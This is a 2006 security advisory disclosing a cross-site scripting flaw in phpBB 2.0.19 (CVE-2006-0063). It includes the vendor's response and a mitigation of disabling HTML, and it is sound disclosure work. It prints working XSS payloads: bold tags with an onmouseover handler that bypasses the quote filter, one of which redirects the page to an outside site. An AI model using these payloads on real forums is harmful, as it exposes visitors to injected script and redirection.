Advisory Text :  

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[phpBB 2.0.19 XSS cXIb8O3.23]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 6.1.2006
from SecurityReason.Com
CVE : CVE-2006-0063

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open
Source bulletin board package. phpBB has a user-friendly interface,
simple and straightforward administration panel, and helpful FAQ. Based
on the powerful PHP server language and your choice of MySQL, MS-SQL,
PostgreSQL or Access/ODBC database servers, phpBB is the ideal free
community solution for all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. XSS ---
If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in
profile "Always allow HTML: YES" or are you Guest

This issue is in phpBB 2.0.19 .
Some Details :
Old exploit for x <= 2.0.18 was
(http://securityreason.com/achievement_securityalert/29) :
<B C=">" onmouseover="alert('SecurityReason.Com')" X="<B "> H E L O
</B>

New exploit for x <= 2.0.19 is :
<B C='>' onmouseover='alert("SecurityReason.Com")' X='<B '>
SecurityReason.Com </B>

The exploits are simillar but not the same ! As you can notice the " is
replaced to '
In new version phpBB they only filter " but not '

that you can use this tags:

<B C='>' onmouseover='alert("SecurityReason.Com")' X='<B '>
SecurityReason.Com </B>

Exploit:

<B C='>'
onmouseover='alert(document.location="http://SecurityReason.Com")' X='<B
'> SecurityReason.Com </B>


- ---
SecurityReason Note :

According to http://www.phpbb.com/phpBB/viewtopic.php?t=352966
[Sec] fixed XSS issue (only valid for Internet Explorer) within the url
bbcode
[Sec] fixed XSS issue (only valid for Internet Explorer) if html tags
are allowed and enabled
SecurityReason tested this issue before public advisory :
http://securityreason.com/achievement_securityalert/29
and the XSS is working on :

- -> Mozilla
- -> Internet Explorer ( so !not! only valid Internet Explorer)
- -> Opera
- -> Firefox
- -> Links
As proof SecurityReason show examples of working XSS on screens :
http://securityreason.com/downloads/mozilla.png -> Mozilla
http://securityreason.com/downloads/opera.png -> Opera
http://securityreason.com/downloads/firefox.png -> Firefox
http://securityreason.com/downloads/links.png -> Links
- ---

We have reported this bug to phpbb bugtraq and:

phpBB Team respone :
- --------------------
...
we do not intended to fix the previous issue in 2.0.19 (it was just
preventing it by the quote change, which was good - but we intended this
change
because of other forseeable issues) - and i do not intend to fix this
one. HTML is and was always "bad" and has been stated as being
able to be entered "as is". In olympus we will therefore remove html
support completely
...
- --------------------


So Solusion is:

phpBB Team respone :
- -------------------
I already said we will fix it in CVS but do not see the need to release
a new version immediatly.
- -------------------

So there is no fix for this .
Only way to protect is :

Allow HTML = Off

- --- 2. Greets ---
sp3x

- --- 3.Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot]
com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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